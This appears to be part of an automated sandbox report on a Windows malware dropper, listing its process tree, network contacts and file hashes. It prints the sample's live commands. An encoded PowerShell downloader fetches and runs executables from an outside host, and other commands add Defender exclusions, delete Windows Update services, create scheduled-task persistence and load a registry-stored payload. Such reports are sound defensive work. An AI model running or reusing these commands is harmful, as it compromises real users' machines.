PID 1624 wrote to memory of 744 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\System32\Wbem\wmic.exe
PID 1624 wrote to memory of 868 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 1624 wrote to memory of 868 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 1624 wrote to memory of 868 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 868 wrote to memory of 1568 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 868 wrote to memory of 1568 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 868 wrote to memory of 1568 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1624 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 1624 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 1624 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\system32\cmd.exe
PID 980 wrote to memory of 2004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 980 wrote to memory of 2004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 980 wrote to memory of 2004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1892 wrote to memory of 1420 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1420 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1420 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 564 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 564 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 564 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 624 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 624 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 624 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1168 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1168 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1168 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1984 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1984 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1984 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1892 wrote to memory of 1588 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1892 wrote to memory of 1588 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1892 wrote to memory of 1588 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1892 wrote to memory of 744 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\services.exe

C:\Windows\system32\services.exe

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe

"C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1136 -s 48

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="

C:\Users\Admin\AppData\Local\Temp\new2.exe

"C:\Users\Admin\AppData\Local\Temp\new2.exe"

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"

C:\Windows\System32\Wbem\wmic.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

cmd /C "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

cmd /C "wmic cpu get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic cpu get name

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\system32\taskeng.exe

taskeng.exe {16EF09EA-9CA5-4D74-A43C-83561404ED77} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+'g'+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+''+'e'+'r'+'s'+''+'t'+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)

C:\Windows\system32\schtasks.exe

"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"

C:\Windows\SysWOW64\schtasks.exe

/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" https://cheat4.biz/index.php?do=register

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1964 CREDAT:275457 /prefetch:2

C:\Windows\system32\taskeng.exe

taskeng.exe {C2AB98DE-BE1F-4729-8E96-DB3578560BE1} S-1-5-21-3430344531-3702557399-3004411149-1000:WFSTZEPN\Admin:Interactive:[1]

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{a5e65a51-85c2-481c-9305-a48f9515cf84}

C:\Windows\SysWOW64\schtasks.exe

/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 connect2me.hopto.org udp
NL 37.139.129.113:80 connect2me.hopto.org tcp
US 107.182.129.73:8081 tcp
US 8.8.8.8:53 cheat4.biz udp
US 104.21.3.19:443 cheat4.biz tcp
US 104.21.3.19:443 cheat4.biz tcp
US 104.21.3.19:443 cheat4.biz tcp
US 104.21.3.19:443 cheat4.biz tcp
US 104.21.3.19:443 cheat4.biz tcp
US 104.21.3.19:443 cheat4.biz tcp
US 8.8.8.8:53 discord.com udp
US 162.159.136.232:443 discord.com tcp
US 162.159.136.232:443 discord.com tcp
US 104.21.3.19:443 cheat4.biz tcp
US 8.8.8.8:53 cheats4.pro udp
US 204.79.197.200:443 ieonline.microsoft.com tcp

Files

memory/1748-54-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1748-55-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1748-59-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

memory/1748-61-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1748-62-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1456-65-0x0000000002630000-0x0000000002670000-memory.dmp

memory/1456-66-0x0000000002630000-0x0000000002670000-memory.dmp

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 50d48404f9b93a16c69aed2e6c585192
SHA1 3f949a4b96bac4f7e1cec881edb5b65295410a1c
SHA256 0a6ed49a01a7c4cad6ea914495d5789b97a9993508fe82ff3232613afb2a0789
SHA512 0e6616e1c537ca77e113184adf6aca8677c6d35d3415bccac5e22aa9735cd0be13ce837ee7583553d4db16700fd77973de711f7c24126a9be6d7525c86fc9774

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 50d48404f9b93a16c69aed2e6c585192
SHA1 3f949a4b96bac4f7e1cec881edb5b65295410a1c
SHA256 0a6ed49a01a7c4cad6ea914495d5789b97a9993508fe82ff3232613afb2a0789
SHA512 0e6616e1c537ca77e113184adf6aca8677c6d35d3415bccac5e22aa9735cd0be13ce837ee7583553d4db16700fd77973de711f7c24126a9be6d7525c86fc9774

C:\Users\Admin\AppData\Local\Temp\new2.exe

MD5 50d48404f9b93a16c69aed2e6c585192
SHA1 3f949a4b96bac4f7e1cec881edb5b65295410a1c
SHA256 0a6ed49a01a7c4cad6ea914495d5789b97a9993508fe82ff3232613afb2a0789
SHA512 0e6616e1c537ca77e113184adf6aca8677c6d35d3415bccac5e22aa9735cd0be13ce837ee7583553d4db16700fd77973de711f7c24126a9be6d7525c86fc9774

C:\Users\Admin\AppData\Local\Temp\new2.exe

MD5 50d48404f9b93a16c69aed2e6c585192
SHA1 3f949a4b96bac4f7e1cec881edb5b65295410a1c
SHA256 0a6ed49a01a7c4cad6ea914495d5789b97a9993508fe82ff3232613afb2a0789
SHA512 0e6616e1c537ca77e113184adf6aca8677c6d35d3415bccac5e22aa9735cd0be13ce837ee7583553d4db16700fd77973de711f7c24126a9be6d7525c86fc9774

\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

memory/1824-88-0x0000000000010000-0x000000000017C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/1824-100-0x0000000002180000-0x00000000021C0000-memory.dmp

memory/1824-101-0x00000000049B0000-0x0000000004B16000-memory.dmp

memory/1824-102-0x0000000004FE0000-0x000000000512E000-memory.dmp

memory/1824-103-0x00000000003F0000-0x0000000000404000-memory.dmp

memory/872-104-0x0000000001D90000-0x0000000002294000-memory.dmp

memory/872-105-0x00000000022A0000-0x00000000023DD000-memory.dmp

memory/1824-106-0x0000000002180000-0x00000000021C0000-memory.dmp

memory/1824-107-0x0000000002180000-0x00000000021C0000-memory.dmp

memory/1248-108-0x000000013F0B0000-0x000000013F470000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TeMaPEZQleQYhYzRyWJjPjzpfRFEgmot

MD5 6082dd13ad8102d17f9db9cd07600e97
SHA1 39becc88cea914d843b3c5521038907f2f2f4e71
SHA256 40a3f938c8c1eb929771c444d5f8887c42c7cde6281690e2071a2593ba92e48a
SHA512 b7d5c716b6339b3138492c8b0cf4c9540a8d8224f9d5e72e34ceab442bdfa9c855473bbed68a489851f019461e1b1f9d86baf067be556c67b948c930899d3c1e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XBDFMUUB8A1PHYMP19CP.temp

MD5 4e05f54d7e8f18debeb62cf4c85f6b80
SHA1 fdff131d40fdb012f63d1739efa7d99b6d81f50d
SHA256 a5f93f73fa8cee9cbe7a3232eb6f177caa4f3e9cceda0d9d478d35c5842615f6
SHA512 64211cade48395dcdb033c661d01e8d4d770d8ab49cec7b90abf176d99fceb6e9c5c8bbef3e71df6565e9b9436e51a2561be55133062d11c636a747d256339cf

memory/1236-126-0x000000001AF80000-0x000000001B262000-memory.dmp

memory/1236-127-0x00000000022D0000-0x00000000022D8000-memory.dmp

memory/1236-128-0x0000000002250000-0x00000000022D0000-memory.dmp

memory/1236-129-0x0000000002250000-0x00000000022D0000-memory.dmp

memory/1236-130-0x0000000002250000-0x00000000022D0000-memory.dmp

memory/1236-138-0x000000000225B000-0x0000000002292000-memory.dmp

memory/1824-140-0x0000000002180000-0x00000000021C0000-memory.dmp

memory/1248-151-0x000000013F0B0000-0x000000013F470000-memory.dmp

memory/1824-152-0x0000000002180000-0x00000000021C0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

memory/1248-159-0x000000013F0B0000-0x000000013F470000-memory.dmp

memory/980-160-0x0000000140000000-0x0000000140029000-memory.dmp

memory/284-161-0x0000000019C40000-0x0000000019F22000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/284-163-0x0000000000A00000-0x0000000000A08000-memory.dmp

memory/284-165-0x00000000011C0000-0x0000000001240000-memory.dmp

memory/1512-166-0x0000000000F70000-0x0000000000FB0000-memory.dmp

memory/284-164-0x00000000011C0000-0x0000000001240000-memory.dmp

memory/872-167-0x000000000E980000-0x000000000E9D7000-memory.dmp

memory/284-168-0x0000000019AE0000-0x0000000019B06000-memory.dmp

memory/284-169-0x0000000077410000-0x00000000775B9000-memory.dmp

memory/284-170-0x00000000772F0000-0x000000007740F000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 4e05f54d7e8f18debeb62cf4c85f6b80
SHA1 fdff131d40fdb012f63d1739efa7d99b6d81f50d
SHA256 a5f93f73fa8cee9cbe7a3232eb6f177caa4f3e9cceda0d9d478d35c5842615f6
SHA512 64211cade48395dcdb033c661d01e8d4d770d8ab49cec7b90abf176d99fceb6e9c5c8bbef3e71df6565e9b9436e51a2561be55133062d11c636a747d256339cf

memory/284-176-0x00000000011C0000-0x0000000001240000-memory.dmp

memory/540-177-0x00000000026D0000-0x0000000002750000-memory.dmp

memory/540-178-0x00000000026D0000-0x0000000002750000-memory.dmp

